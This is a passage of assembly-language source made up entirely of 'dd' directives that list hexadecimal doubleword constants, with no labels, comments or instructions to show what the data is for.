3A6BC0C0h, 0E8F64Ah, 190EC35Dh dd 4364E568h, 0AED92900h, 0AF66795Bh, 90F00044h, 1D0C4C98h dd 0FD00CB9Dh, 0B18B23BFh, 402CA6Bh, 777F6736h, 8F04C330h dd 60A8EE0h, 90004F8h, 25F4CC9h, 0E3A34D6h, 0E5DB18BDh dd 0DD38F181h, 730898C5h, 0B51F21h, 28957618h, 0FAE17709h dd 13FF848h, 5A346212h, 0A3F04982h, 0DB177A7Eh, 2E13870h dd 0F12DD070h, 0F611D760h, 3BA9FDDh, 0FE3EF08Eh, 830F856h dd 0E5972103h, 4DEF2E9Fh, 0DCAC014Eh, 8309A689h, 0CF96E7B8h dd 0DD600632h, 1926D2A9h, 0A6B8E10h, 6F5B7060h, 10C0854Fh dd 55877491h, 0F18A504Dh, 1B0D00C4h, 0DCB12499h, 6B002D67h dd 0E9D38307h, 5EB96Eh, 3AE6FAF5h, 0D486B17Dh, 0C88C9800h dd 4579210Dh, 3F320088h, 4BE3C4F9h, 6000AD6Dh, 3CE6A7F0h dd 1D7B39A1h, 0D394BAh, 240E5E43h, 0CB002BC0h, 0BD729B6h dd 3A207E3Ah, 8A006323h, 0CFD4884Bh, 0EA06E175h, 3AE9486Eh dd 218B6008h, 3CFCC1Eh, 664EBA00h, 0E35FC5FFh, 0C4AF003Eh dd 0BDCD00Ch, 6803465Ah, 0ACCB55EBh, 5E3B888Bh, 33FE0C7Eh dd 0B078D118h, 4B8E8109h, 0A8D28068h, 3F900E56h, 0C2000CC0h dd 9F755E41h, 10C5072h, 2067B8C7h, 0D340A4Bh, 78207B1Ah dd 388CC17Ah, 7B8CBDCh, 652CE78Ch, 0D5196428h, 89988AC3h dd 1D68A9FCh, 304AB2D1h, 0C149EBE8h, 4BC42401h, 23CC8E1Ah dd 213D089Bh, 17C11388h, 0DC10E107h, 2D0FBD7h, 7F7DAA4h dd 0E43E8FA6h, 0E8A04C55h, 0C0818A1Ch, 1EF0A0A8h, 4A0A2407h dd 86FB2007h, 63084F4Ch, 1C40210Bh, 0D7E239B0h, 1FC0B814h dd 0B3E31DA8h, 7C586103h, 3A60308Ah, 0D75BDE31h, 0D689A806h dd 0AE085D0h, 8C95C12Ch, 807C1140h, 7510A25h, 10F58C18h dd 0C70B1D3Fh, 0C8C4C650h, 205F2409h, 0FD264600h, 9B690727h dd 0AED542D2h, 0B45E3CC2h, 8035405Fh, 0EBFE000Ah, 0F1460F03h dd 0E039011h, 78E68998h, 0C8501973h, 501FAAA7h, 7DCC4A8h dd 0FFC89450h, 3E77431Dh dd 0E5DE841Ch, 209099B6h, 0C40C694Ch, 785927ACh, 930D05DCh dd 0A8C8064h, 64BCD88Ch, 0A27617Ah, 432807F4h, 132267h dd 0F20B1F41h, 0CBBF62FAh, 7BF00C00h, 0CC207901h, 9E5E0396h dd 30D85836h, 2B922FC0h, 8B88A0C4h, 0A0D9441Eh, 0EFCB0186h dd 208AB280h, 74488AF8h, 9B000D46h, 3E81DA6Fh, 0E503A9B5h dd 4D03FF3Dh, 0C958B868h, 84CCAA1Ah, 0D56023E4h, 0E1236ECFh dd 99011F2h, 80CFCD1Fh, 0D0F7C567h, 798560BFh, 4D5F6F36h dd 740CC900h, 51D5CBDEh, 3490119h, 5E93DAF4h, 24442035h dd 8121D400h, 94C12DC3h, 1EC8918Dh, 0D54CE0C8h, 0DBFA7CFAh dd 65869318h, 0AC8D938h, 465FF75Eh, 56B201F4h, 209A759Fh dd 48CD0C4h, 0C425C150h, 20336213h, 0C2C11291h, 0B16D600h dd 27BACBFBh, 7289398Eh, 5804247Bh, 6238C238h, 8CCF680Ch dd 22C14F04h, 8C381BC4h, 0A8C11901h, 0A54876D9h, 58DC0020h dd 850CD649h, 0D9295611h, 0B3955E00h, 90F6E9A8h, 48D5E22Dh dd 84104C04h, 0C07D888Ch, 7460A28h, 880B18E1h, 0A39203Ch dd 0B0D5844Ch, 8C118D8h, 44274FF9h, 0F8313436h, 44769424h dd 0E152451h, 49088C4h, 5F9FD4C4h, 0D420A48Dh, 0C30C8CAh dd 4C089CA4h, 0FB240678h, 4E0B187Fh, 18CC7DCh, 0F6D5C5A5h dd 0A9CE3CD0h, 482095F8h, 0D3048C21h, 0E2E170CFh, 25209162h dd 46CFCBh, 591A4079h, 0A4C17FDEh, 0E400EC99h, 5E3A057Dh dd 48D92A85h, 20D200B8h, 0DFF1313Fh, 909ACEFBh, 39588B76h dd 8C8FBC6Ch, 0F16FF609h, 101810B8h, 0CB468468h, 26C14B02h dd 10C73BC4h, 0C1158800h, 0E4D7FED9h, 0E83115D0h, 8879C436h dd 0D0A022B0h, 3D7CFF7Bh, 30674344h, 27484C5Ah, 916ECC99h dd 7DA007Ch, 1F3D154h, 57EFEAFDh, 0E45F930Ah, 0C668C85Bh dd 4674BCC9h, 0B57D0F54h, 0B795866h, 0C8EBF7E5h, 1393BE78h dd 2170AD1Fh, 78F057Ch, 1207B11Ch, 2155D0D7h, 2327C38h dd 0B98527D5h, 5C008109h, 5B1B6742h, 0F917C921h, 0FA571854h dd 0C4950489h, 805D3FE4h, 6F75DF60h, 0CD46D8A6h, 28C14507h dd 36C458C4h, 878649h, 0FE3D005Dh, 0F424D012h, 7B00B41Dh dd 62CE31BEh, 5C752A25h, 2CC4630h, 0C429C14Ch, 11383133h dd 28704E8Dh, 0A808E689h, 0B4538Ch, 0CDEF7BCFh, 0A5A7099Ah dd 1888D37Ch, 28916F67h, 281C4500h, 0C4008C78h, 4AF41A63h dd 0C08F6615h, 0A3716A21h, 9F06D5D3h, 870D7A84h, 0E85E5408h dd 0A3790351h, 64CD5B49h, 45B16100h, 31A2712h, 207A12C7h dd 0DCB4000Bh, 5E3919ECh, 796CB600h, 0C88FED3Eh, 44BA2Ch dd 24CAC57Bh, 0FB932F62h, 0D1019F00h, 80EB2147h, 0FEF418C0h dd 0D7034014h, 581CBA30h, 39019762h, 9A0048B3h, 3DB2B23h dd 0D8902EA3h, 7C0308A2h, 0E023DF6Ch, 0A36E014Eh, 1897D5D4h dd 76508866h, 5643A300h, 1D218A71h, 0EDE0E72h, 0FA460C57h dd 2C85490Ah, 0B86261C4h, 0FBF442C0h, 18341948h, 0C7215966h dd 3972E9h, 0C6985669h, 0D75F3E2Ah, 5824DD24h, 366EA40h dd 0C8E007Fh, 0E3D9FB32h, 0A5022C28h, 3987CF1Bh, 50C960C7h dd 998C63B6h, 42E7AD8Bh, 8C46241Ah, 73CFD604h, 60CE3AE1h dd 0CFCE2800h, 52BED33Eh, 7CE23F12h, 0FCDFD020h, 3A8B8082h dd 8E642CA5h, 0C8828361h, 7424B0D7h, 0DB01040Ah, 184AF5BEh dd 0A3FCA859h, 87D523D6h, 4A006711h, 2F8EA37Ch, 380BA9DBh dd 0E7E8D8h, 6212FA3Ch, 0ACCA1682h, 7E484003h, 0B3E34401h dd 4BDE25h, 0CE91977Ch, 0A7C3281Fh, 0D5474098h, 1160C87Fh dd 793DD98h, 45158D3h, 0D64AFA00h, 7ED4D00Fh, 0EA6820C3h dd 9E13F263h, 0D9662320h, 0BD020A1Ch, 9D12D7DCh, 8E66117Ch dd 7724E0D7h, 710686h, 222AC1A0h, 7E16CD91h, 4EE33500h dd 1AF11C80h, 0EA37019Ah, 23685B8Ah, 7749BC3Dh, 0D00C4174h dd 0B021C4C8h, 36E60013h, 8901CFA9h, 99F324D8h, 52D8FBC9h dd 0F1E08864h, 0A4044061h, 2F648804h, 34600856h, 2609B4A6h dd 0CEE0051Bh, 4589D4C0h, 18462C61h, 57240B9Eh, 0C84F04A4h dd 28C87BE0h, 0F034079h, 0FC901739h, 8B1A67FCh, 9178438Ah dd 0D1A142C8h, 3C668A1Ch, 3BC06C98h, 5557F3Bh, 28E4C11Ah dd 0B88B4C01h, 0C0868018h, 2157BAE3h, 42445C85h, 77891540h dd 0D0004F7Ch, 86ECC220h, 49C10C3Fh, 3E029C80h, 7E26CC53h dd 75B45060h, 730E8B00h, 6090D4C7h, 0B1346067h, 0DD9FA3Fh dd 78290A01h, 18857B89h, 4C7ACDD0h, 6789F8ABh, 0AA831810h dd 18011530h, 7F7FFD57h, 2775000Eh, 53D6A04Ah, 0BE0C5B84h dd 7995C958h, 29BF07DBh, 0A4D74779h, 0D9E4C011h, 0E9C18FD0h dd 7C1703DDh, 58C29840h, 0E21C2673h, 0B2BF0BBCh, 9A7D0100h dd 0BD07E303h, 0FB57848Fh, 14D9799Ch, 24CE1CD8h, 0B7AF810h dd 1E2FF37h, 0DE9FC244h, 61A23C63h, 0D5CBB833h, 141702F7h dd 0A4023E9Bh, 3444D0C7h, 0FC978064h, 0DBFAA67Ch, 41A29312h dd 242A2C02h, 45ECA053h, 135CFEDh, 991C28A8h, 0F4CEC5C1h dd 32093FEFh, 84BE2B78h, 90C8D7D4h, 40DCF289h, 7AE02C60h dd 0E32EA8B8h, 467C5080h, 0B5FB008Ch, 43FD7FBCh, 54842EA4h dd 3FA00080h, 3CC70116h, 2090BEA1h, 0F091FA00h, 62847505h dd 0E39D30CFh, 655A7701h, 60FDF90Bh, 0A88848h, 58F8881Fh dd 0CE17DE18h, 0C1761C0Ah, 0C808011h, 66FA4CDAh, 0D95E01D3h dd 72A7E4CDh, 2874E429h, 0BDFD5000h, 253D8546h, 0A459C056h dd 0AD06E07Fh, 0D29B601h, 49FA9444h, 0B024C720h, 6E7A1228h dd 88B4CBA2h, 0F6D1C030h, 0C3FC15DEh, 0C6059E00h, 167F578Eh dd 0DC661C68h, 0D6DB00C4h, 0BEE2FAD7h, 0DE3F3712h, 0CAADDC20h dd 855F26C2h, 845937E3h, 83E0C0B8h, 7BF0E86Ch, 2260C096h dd 0E507500Ah, 40C471DEh, 530B1A3Eh, 919B4E06h, 1F1910C1h dd 40427325h, 30F5495Eh, 0A5007195h, 0A807FF20h, 53394ADh dd 4037E92Dh, 82F4050Fh, 0AC38884Bh, 27E37C40h, 7C1792BFh dd 80893291h, 0F8DA1D80h, 0F400556Eh, 0A86A99C7h, 4C30CC1Bh dd 87125C67h, 1D64217Fh, 8D70C24h, 42E174CFh, 294F55C4h dd 91A640FCh, 0C0D8D5DEh, 57B08461h, 58245C03h, 914960B2h dd 0E6E298D2h, 9426197Bh, 0D500660Ch, 7F28C22Dh, 293760B2h dd 0A19D046Fh, 0CA483Eh, 0FB28C996h, 4414407h, 5FDC8417h dd 30C8C7D4h, 5E3B8E5Bh, 3028FF0h, 0EB46AB63h, 0C60C056h dd 5EA89E65h, 4791946h, 0B5597781h, 0DA42C010h, 624C3EB3h dd 540D0024h, 0C34FC9D8h, 94FB7856h, 6012441Ch, 23D8A372h dd 651177D5h, 0A3F473h, 1695E6CEh, 0DCC02EC8h, 0B8B22094h dd 0A293078h, 0F8074D08h, 40186466h, 410A213Bh, 0E74A0092h dd 0CCD8D0FCh, 1712B596h, 1C8865A3h, 0EECE0330h, 39AC8BD3h dd 0F8B01FC2h, 7216CFD9h, 0ECCBD2E1h, 7DD12310h, 42ED8F02h dd 407C80B8h, 24B94C60h, 749C49A7h, 0C0030C46h, 5C240649h dd 14A0691Eh, 0D2390CC0h, 27B45F0h, 0DD24BE26h, 3CC8F9B3h dd 0B02CC0D9h, 3A48D1h, 68C10FEAh, 9AD81131h, 626C9BD4h dd 68C36C35h, 14A232A4h, 0A4041A2Dh, 8164CEFCh, 0CAC423A4h dd 8B0044C7h, 0EE7FC118h, 0DE440247h, 4EB3E19Ah, 3B7523h dd 0C271F629h, 734DFFD6h, 6C26F400h, 0D772A827h, 12BC7E84h dd 909066A2h, 0CAE742F8h, 3E386701h, 4A8093B6h, 0C035830h dd 7145C0E9h, 0EE4CC728h, 0CE007E6Dh, 9547E254h, 159BCE9h dd 3CFCA3E3h, 282450C1h dd 373804D0h, 7CA0E0B1h, 426D3DE9h, 0BE15CF87h, 0F8BD808Fh dd 220BAFC4h, 831CD91Ah, 98790661h, 9576EEBh, 29C4CDB5h dd 0E5007864h, 0CB2FC9B8h, 171F7BAh, 431809BEh, 106523FAh dd 17E9B0h, 0FD6990Ch, 7A016429h, 35384C5Ch, 6E83496Dh dd 0E1313E5Dh, 0A04D9615h, 0A2006422h, 0F7E8CFC7h, 59F5E9h dd 0B8E14A30h, 0A4D1D813h, 89C13E0Bh, 68608788h, 4B505E07h dd 2B7274h, 0ACC2E994h, 0E5ED5F4Ah, 23496800h, 0FD25CA95h dd 0FB51001Ch, 0FA67462Dh, 9A0FF99Eh, 80202BB9h, 4D3D3575h dd 0B22D032Ah, 4B886F67h, 7CB02900h, 7B98FBBFh, 0D1A4195Eh dd 80160823h, 0BF140B21h, 0C461A38h, 4AE13DF5h, 0D1008748h dd 511FC565h, 500596h, 41ABA067h, 0AA69818Fh, 9F7C5770h dd 80D01081h, 11A46352h, 9BB0DEBEh, 0FFE2C3B1h, 80C2131h dd 20804FB7h, 2BA4D6E7h, 0FDE6EE10h, 36913518h, 0F1DB78h dd 91B61C7h, 0BA5D4577h, 3F182B7Ch, 94F1C5A1h, 6FE00CA2h dd 5A709EFEh, 448AF82Eh, 63ABE603h, 2E09307Dh, 8AF03AA1h dd 0B552EC18h, 0FC8181h, 13153F86h, 64A6D584h, 0E0EFE109h dd 70D8010Ah, 2DFD09C6h, 0ADF7D180h, 0AE8F8252h, 400201EEh dd 61B0681Ah, 118481F5h, 80581450h, 23A7ECE2h, 0BD11E3B1h dd 0A4DA007Bh, 0F08ADFBBh, 950156E6h, 0E07A1043h, 3C427B58h dd 0C41DC064h, 0EDE83C1Fh, 8E9D9F00h, 0CC45AF8Dh, 3C8BBA00h dd 4014D12h, 3E6A0096h, 5B85A251h, 6000B4DBh, 0CF206C06h dd 79ADAh, 547C6704h, 596E1971h, 0FC86C539h, 66E4FC00h dd 7F4E0DE6h, 6D170740h, 0AF2AFDAEh, 0F896BEh, 9526B27Ah dd 631F790Bh, 0E580824Dh, 5EB851ECh, 0AE2300E2h, 0FFF6F9C3h dd 0A73AD542h, 0DAFB809Ah, 8326D75Ch, 7960001Ch, 9CE11335h dd 0E300D491h, 0E2DAE3Ch, 1F4D385Ch, 0D97C855Dh, 0D86D30D6h dd 4C0121B9h, 0B701ACC4h, 18809611h, 0B5028C04h, 0F007E63Ah dd 0B11F9042h, 0D01957D3h, 5CA08A96h, 0AF3D3603h, 8763F281h dd 20D95D77h, 350F1730h, 200EA242h, 0C776B1E3h, 946218ACh dd 872C79D9h, 45C9C600h, 5BF431EAh, 4084603Bh, 94EC628Dh dd 9907B903h, 0D84DB014h, 0C0853683h, 987E7118h, 31833C2h dd 0D50D44Fh, 0C42D01B6h, 781528A4h, 5288406Dh, 690064AAh dd 0E637AB13h, 3ECEDCh, 0E2A91CFAh, 2C1243D8h, 777C8679h dd 0D73640h, 0A5DCBFBCh, 645A1344h, 0CBF28900h, 947C2798h dd 71EB07F7h, 2841EAh, 7350E7E1h, 1156770Ch, 7C7982h, 0C2327F8h dd 5B35C6Fh, 28805B50h, 51D49700h, 0A8F10EA1h, 0B8831FFDh dd 1F0F7EF7h, 0CE809DFCh, 0F38F676Ch, 79E163Ch, 232E5F10h dd 2B5AF220h, 0F02DE84Ch, 6B4E0028h, 0CA55D3C9h, 3D638B10h dd 1F9BA08h, 6B444920h, 0DD26DD36h, 0B577F44Eh, 2070826Ch dd 8BF93E08h, 2AD9FF8Ch, 475CCD11h, 0B8AD0171h, 0D0F4FDECh dd 2492088Ch, 3E03F020h, 3873E5C9h, 800D9204h, 0D3C0F289h dd 30090125h, 64A08B9h, 2D308011h, 8EB46583h, 1D84038Ah dd 168CA22Ah, 21007BA3h, 56B2FDCCh, 1F47F8F6h, 0C63A25DDh dd 0E4A1349h, 0CF6399C0h, 0F9ED96Ah, 8C844872h, 6D870581h dd 22D081F3h, 90E91464h, 3C3198CCh, 3A0047DFh, 0AD05C101h dd 0D91CB834h, 3D8029F1h, 0E00FDD3Fh, 177300C5h, 0D1D00170h dd 0D500CD46h, 3A4C2433h, 2085B9h, 27740888h, 39CFCA30h dd 73F038h, 6AA54C84h, 0F8D5Dh, 8BC5623Ch, 0ADFF88D2h dd 0B92CE83Dh, 3D7381CDh, 69A9967Bh, 1EA10D60h, 80437F3Eh dd 6B7A50FCh, 0F7485822h, 65690061h, 0FBFEB609h, 0EEF03F16h dd 0FEB5601h, 0C48AD8A5h, 81F696FAh, 4370BE0Eh, 0BD2D45D4h dd 198C0FC3h, 612B0B18h, 0D170E0D5h, 0F78A3801h, 0CDAD58ECh dd 2CDD1AD0h, 1EB73E9h, 96C3FEFFh, 0E835E9E1h, 0D33E08E7h dd 8786004Fh, 0A777A029h, 681261BBh, 0C593043Eh, 2E908733h dd 0D808B9Dh, 30FB07ADh, 0DE183C6Ah, 0CD00FFAAh, 0D4DB7CF5h dd 1146ED3h, 570BD5A8h, 804046B7h, 0D9362DA0h, 3C166815h dd 6E80C05Dh, 0BCB14B26h, 0A9631E93h, 1B8EBE9h, 0FCB2F319h dd 0F0D58E2Dh, 72717E33h, 92EF3603h, 913F3826h, 8050A889h dd 0C7AA10h, 0A6175F1Ch, 27FEA905h, 0E155CA00h, 0D20CD368h dd 97B900C7h, 35F8B0F4h, 1E00A993h, 0C24936A0h, 73414C9h dd 41D9925h, 0AF444323h, 0C1582000h, 0A927E5C3h, 78A11CE8h dd 3757C0D7h, 14CE35B7h, 8F182B00h, 0C6843C6h, 85EF3988h dd 8FF3380h, 1EB0A60Dh, 53962E07h, 784C94E9h, 0E0EDE080h dd 0A422031Dh, 0A3521F02h, 210F7CA3h, 0C0ED07DAh, 3AF6FE67h dd 18177BA7h, 0B9CFAED5h, 5F982A89h, 9A78FE00h, 3A9703F6h dd 0AE60069Eh, 80EC3885h, 0EF195A03h, 1989524h, 21579639h dd 81AC2DC3h, 52FD8911h, 72E83701h, 45301D92h, 1F070C73h dd 0F6000420h, 974B0852h, 0EB880E0h, 0BFE89F8Eh, 5023583Bh dd 52FC00C6h, 71F53704h, 21946086h, 0F52F76Fh, 0E23848h dd 98505EC1h, 0D91397h, 2C43C5F2h, 7D78C9Eh, 0BEA930C0h dd 3C6D2BBh, 4331C9CDh, 818D9A1h, 4420A5F2h, 0FAD200C5h dd 92991489h, 0F4A0984Eh, 0D5300B53h, 0F04B605Fh, 93A307AFh dd 0E0C49D0Ah, 66FA1C36h, 0CBF45500h, 729705A4h, 0B9AC0027h dd 7FE68EADh, 58F4BBD9h, 316E8400h, 3CEDEE55h, 1EDFE276h dd 80F6DA01h, 772EB826h, 5800475Ah, 0DCFCE324h, 8B15EEh dd 0DBC9F39Fh, 0B91DDAFDh, 38F66B38h, 0B4988351h, 475CD6h dd 0C7662314h, 93E5FB84h, 67413901h, 0E665DFC4h, 45D1094h dd 3F30C4ECh, 523D10FFh, 99AF3936h, 3B55CB00h, 2B9C388Dh dd 4031AE1Fh, 13CDA200h, 1FD8E1Ch, 8628CCFBh, 0BF953420h dd 33590012h, 0E3BE3502h, 373004Bh, 9DBAB414h, 0F37AA8A7h dd 0B5803Ah, 0C162E92Dh, 18D48h, 0EE6C4585h, 8AF4F2CCh dd 0B2BF881Ch, 94D53F3Ah, 48964DB8h, 89653B17h, 8041CC21h dd 0E5B6ABFCh, 0DDCE00E8h, 0B1754BCDh, 0F0005B98h, 398F9C7Ch dd 279BC6h, 6368DBC1h, 0A37FB64Fh, 88038A73h, 0F7640A9Fh dd 1510062h, 39ADC06Dh, 3D00DE8Ah, 9719726h, 60AE803Ah dd 4DE4489Fh, 9316D12Ch, 420BF50Eh, 0B6208062h, 0F94C24Fh dd 474C4833h, 5978272Fh, 290065B7h, 2A1C66CDh, 1C738B1Dh dd 144DB2Ch, 51F18452h, 0BD6180E4h, 0B50BD982h, 631C02F4h dd 0CBDEAC66h, 15C8B5C0h, 0A509230Bh, 0EEB30167h, 8DC8084Fh dd 6B73005Bh, 52243B48h, 5300F18Ah, 3DC0B1DCh, 57136D1h dd 0E10D3E16h, 0D4D9C06Eh, 5504956Dh, 5E148DF3h, 1DF00481h dd 1DC3C0F8h, 0B0A717B9h, 0AE285290h, 0BE5A0B1Eh, 72230580h dd 5699621h, 1DC5DD50h, 0D7B040B8h, 0C3917056h, 0B1F34609h dd 0B430213Ch, 7AC084ACh, 279A0061h, 5A732560h, 0AE00A6BFh dd 69BE1BBBh, 35F08C8h, 19AD71FEh, 0FB86FDAh, 0FDEEBCE9h dd 7FA16B03h, 0FBED12EFh, 0C90ED983h, 200CCE61h, 5CEE04E1h dd 80CF0D20h, 0E39EEF44h, 55B39700h, 12CE1B5Dh, 0CDF499h dd 0BB4DA361h, 0F77B7AD7h, 34FE5818h, 0A7D6A0h, 64BFC187h dd 829D7C4Eh, 0A3003D7Ch, 0E94CBC15h, 127091D5h, 3DB4A48h dd 0EEC8AA00h, 74426097h, 0C998548Eh, 0BDFA5300h, 0D1DBF963h dd 685D000Dh, 5B58ED27h, 0E600CFA2h, 0EF7699EAh, 0EE6B4670h dd 1E0F033Bh, 0BEF34F60h, 0A0805B92h, 0E4D2FB11h, 70208A00h dd 0D84865CAh dd 0C0F62Ah, 0FE1CB9CEh, 3BD2E4B1h, 0F7257A00h, 0E898BB05h dd 0B58CA8D0h, 12285C81h, 2A9ED40Fh, 82631840h, 0B70765A2h dd 0F0B59D71h, 0A60BF610h, 0F2267D46h, 0C909009Fh, 37168EC6h dd 170A0290h, 0EC3A0497h, 6A2E9600h, 12EE88h, 2CC0054Fh dd 34D20EE9h, 27552A1Fh, 1C88A1C0h, 78E78A32h, 710A00BBh dd 5ECD2B3Bh, 757E548Bh, 4B30E990h, 0DBE9A8E1h, 493703E6h dd 2A7D4AFCh, 444B14F2h, 298576A0h, 30132824h, 8A18F802h dd 0D9CC4096h, 7505095Bh, 6CAEECF2h, 2DE1914Eh, 70298D17h dd 0F300952Bh, 1E3527C4h, 7EE0D8h, 0E81C56B0h, 776090CFh dd 46DCB11Eh, 0EA44E607h, 1F1611D0h, 4DEF0004h, 6CF42548h dd 51753CD7h, 2F30A90Fh, 76A380FEh, 0ABEF31h, 0B15FF975h dd 147BCEEAh, 2FAF8216h, 19CC8800h, 164AB9Fh, 85DFFAEFh dd 0E8ED978Eh, 0E200B045h, 0FF552B1h, 3621081Dh, 8060F399h dd 862E9000h, 7D65C7F9h, 4621FBAh, 0B3D98052h, 0AC0A287h dd 80E6B800h, 0ACCD98C9h, 2C98F2h, 9CD61914h, 1871CC1Bh dd 79B8D200h, 0FFCB7606h, 14FD0783h, 60A8D95Dh, 0B24A4CB0h dd 9CAA6E01h, 368B774Bh, 0E19EA451h, 58C0C6DCh, 0D407E612h dd 0D273646Ch, 0E660AAE8h, 0F2012A76h, 0FC0B7719h, 68DC1CE9h dd 0B55E2651h, 485F0093h, 29FDA2D5h, 330AC48h, 0FCEB0C2Eh dd 31DCA0AFh, 638C0088h, 0E7A97EAAh, 0F900DAE9h, 1F78B957h dd 9B4756Fh, 3DBD4F16h, 150E3C00h, 5300541Dh, 0E83E76D6h dd 21306Bh, 0C4C86858h, 3637D507h, 0D0105760h, 23BEB7h dd 8E2DDEF9h, 27B9C0E7h, 0FEE04100h, 9724DEBh, 92983DDDh dd 6A7E12h, 1D02544h, 51037FE9h, 18C09314h, 7DE8B0E5h dd 3B732CEFh, 4A05BA9Ch, 0C031DB17h, 0BEDAA51Ah, 61EB3A1Eh dd 4BF5A9C0h, 4B7543Bh, 37445FADh, 850D069h, 0F907CD80h dd 288AE92Fh, 0EFA3D280h, 0AAFB50D8h, 38AB1F6Dh, 0E7A60079h dd 68C0FE1Bh, 0D10B7800h, 3FB0B35Fh, 6494A190h, 0D1060h dd 0EB54DB6Dh, 129C970Eh, 91A7D801h, 275E9428h, 2D9960h dd 60521A03h, 0E75F9DFh, 0CF5DD100h, 0C91F862Fh, 41AB00D5h dd 5E97CBDAh, 0E70E4237h, 80D14C87h, 3A195149h, 726300B2h dd 1C352E66h, 59065D1Bh, 2756B4Dh, 0A1960048h, 82BA7C36h dd 8F0034CDh, 8EBE695Bh, 13A41F1h, 28540232h, 0D87316EAh dd 4E3F7C31h, 40498EBCh, 17BDE018h, 0E415E07Bh, 50620067h dd 0C6B3235Dh, 0A028DDCh, 6D7CAEF4h, 32504863h, 1CFA0074h dd 37E49766h, 8C0020D5h, 0B38AB8F3h, 5877072Ah, 95121446h dd 38A01AAh, 606CFB61h, 0D20014F4h, 6E0D6079h, 0C3AAB353h dd 0A7DEA37Eh, 7174D084h, 0F8A85FF6h, 6B009804h, 78020FC0h dd 7C4D4007h, 0A9E41E94h, 32BF2660h, 0A402F111h, 5F5920FDh dd 4B009AF6h, 96E373AFh, 608E076Bh, 1E4588Ch, 5F4ABC60h dd 0F5DDB9B0h, 3E6C874h, 0D709757Ah, 589EA5BEh, 0A1DD1914h dd 0DD40B50h, 0FD388509h, 21C45400h, 0D23473h, 5A747961h dd 1B91F962h, 5D805060h, 99D5A9h, 14C6193Bh, 0E686B209h dd 0BB934E03h, 0AC52C74Ah, 15383700h, 2094E5FCh, 9D10FDF1h dd 55079974h, 0AF6B8E3Bh, 3E98AE60h, 0D1900F94h, 2D43789Fh dd 9DE0BC34h, 0C600EC9Bh, 7793FE67h, 0EE1D30h, 956290BFh dd 0D36C0220h, 8DD6520h, 0FC4D873Dh, 18C21460h, 36AFEE6h dd 0A0716E60h, 0C891B772h, 5DD704Dh, 1286B001h, 0BED53C23h dd 0CC83C4h, 0F828B7FAh, 93C9C3DAh, 0F5953E12h, 0E740FC01h dd 0ACF04DA9h, 1EAF00FEh, 3D5FBA87h, 7587933h, 0D2CD0004h dd 0B45D1AFCh, 4857537h, 7F120DF8h, 4AACC396h, 0D5982C98h dd 2471DA01h, 798D9485h, 76CFFD60h, 20FA7710h, 75074B01h dd 71509B17h, 5FCE4780h, 445702BEh, 6BACA531h, 0BF2E48E0h dd 68081F03h, 0D801CBEBh, 1A1B9Eh, 0D7770F0Dh, 0E52994F9h dd 2E7CC8A8h, 61506000h, 0F497E881h, 9890EAD0h, 87480088h dd 38203CF3h, 62EA6E02h, 4661BE07h, 0C5DE0F77h, 0F4818D55h dd 51809236h, 215F0D79h, 5760A376h, 24013C90h, 119C6075h dd 6D1AFA3Dh, 78E8D248h, 0F11D1600h, 0FEB5CAADh, 0BECE004Ah dd 3EF22213h, 0C50031BAh, 41301525h, 12FF1D6h, 740B92CAh dd 308B0E06h, 703E9787h, 8F2A04C2h, 57803E29h, 0F0854921h dd 0AE5004Bh, 0C3FA6764h, 75004432h, 0F7CFD505h, 1CF076h dd 15A859F6h, 0C1E694F4h, 80288F39h, 727B03F2h, 78F149E0h dd 587018Dh, 958536B2h, 317D30A8h, 9A0C8600h, 0A5D91777h dd 7B7703Eh, 83576C2Fh, 56FCE072h, 0F800AE79h, 3A7CB008h dd 0ED411ECh, 0E862574Eh, 5EF737A0h, 0F11647B8h, 0A60040C7h dd 0D146B1F6h, 2654062Bh, 80F4CDA7h, 9279803h, 0BBB83F34h dd 0D46BA8D3h, 922F3EA5h, 7EAC00CAh, 0A47D1B47h, 0BB190A07h dd 0A986A91h, 80485439h, 6185AD87h, 9600D60Dh, 66F4D4DCh dd 9BBB94Ah, 44162073h, 672284A0h, 7E00AB4Eh, 0FE61D45Bh dd 0A4D70Fh, 0DBA4612h, 0DFD0E1B7h, 0AE02A673h, 8F170578h dd 0E85049h, 0A7530A4Eh, 443DAD67h, 645C2C92h, 17A800C0h dd 18851B2Ch, 3D7E035Ah, 1570D9FCh, 0D12B66D0h, 7C57F624h dd 3CD24480h, 84734h, 0DCEE5293h, 358320A0h, 2A0D4Ah, 413F4813h dd 6B162B40h, 0D612D852h, 0B63ED400h, 57D7C18Fh, 0F830046h dd 0D57FA87Dh, 8613AF8Bh, 571E2381h, 59C0AA87h, 0BA670510h dd 0E77B00C8h, 8876F3Dh, 0CC0B920Fh, 384D5Ah, 0E3E8B4EAh dd 462A0193h, 86FBCF2Ch, 5A20ECDAh, 966A061Dh, 61CC9881h dd 3DC8056Dh, 95ED0F9Eh, 409D54DCh, 3E782F59h, 92123AD2h dd 1F0030AAh, 710AFD26h, 0FEE9024Fh, 0E8120595h, 0C832B2E0h dd 0DA4D5D00h, 0D99DF50h, 0BBF30E71h, 33E0BC97h, 9316F251h dd 8ACCBD54h, 9000157Ch, 84A18C7h, 611ED8h, 1F51E210h dd 20D1EE64h, 0D201C5EEh, 0BA248337h, 64304A68h, 60F30FF9h dd 5F8EB952h, 74B116C3h, 9CCBBFE0h, 3A9D0200h, 210E2C8Dh dd 8398007Eh, 0D6441BF2h, 0C1248B6Ah, 0BB483Dh, 0B01CB39Eh dd 17C33001h, 28D59286h, 6060CED8h, 9A6178D4h, 0AD9401A7h dd 9ED6F063h, 73E0F486h, 8800C4B8h, 7B36614h, 2E62E1A3h dd 87D01591h, 0C6F91730h, 6B017928h, 6576E3BEh, 1824DA55h dd 0ADBF2569h, 280D8080h, 0FEFC956Eh, 6F2A7800h, 426DA21Bh dd 6BD00085h, 712760D9h, 0CC00BED8h, 6398BF2Ah, 29416B7h dd 0EABC2F85h, 0CB805C70h, 3A130A65h, 0C908D407h, 0B5A0423Bh dd 1F54ECE0h, 0C003EF21h, 0B2248E7Ah, 0DF77869Bh, 3900D2F8h dd 0B9A24840h, 1E615DD3h, 42E530FDh, 0AD98A9D9h, 0AB3D1240h dd 38E47A00h, 899D895h, 0A49D002Ch, 4B5D474h, 0EB00B018h dd 0D64E633Eh, 0E84F3Bh, 0C9679350h, 0E0C38BAEh, 4142642Ch dd 0C2D54002h, 0F4CC70AAh, 0D04316EFh, 0E8420663h, 61F230C8h dd 0B70AE300h, 0F5F3602Bh, 9CAA0096h, 53B8FD12h, 1A703670h dd 39000EF8h, 5F07D3F6h, 0A501582h, 89A6D280h, 945D00B6h dd 19F1FB71h, 0C4F77702h, 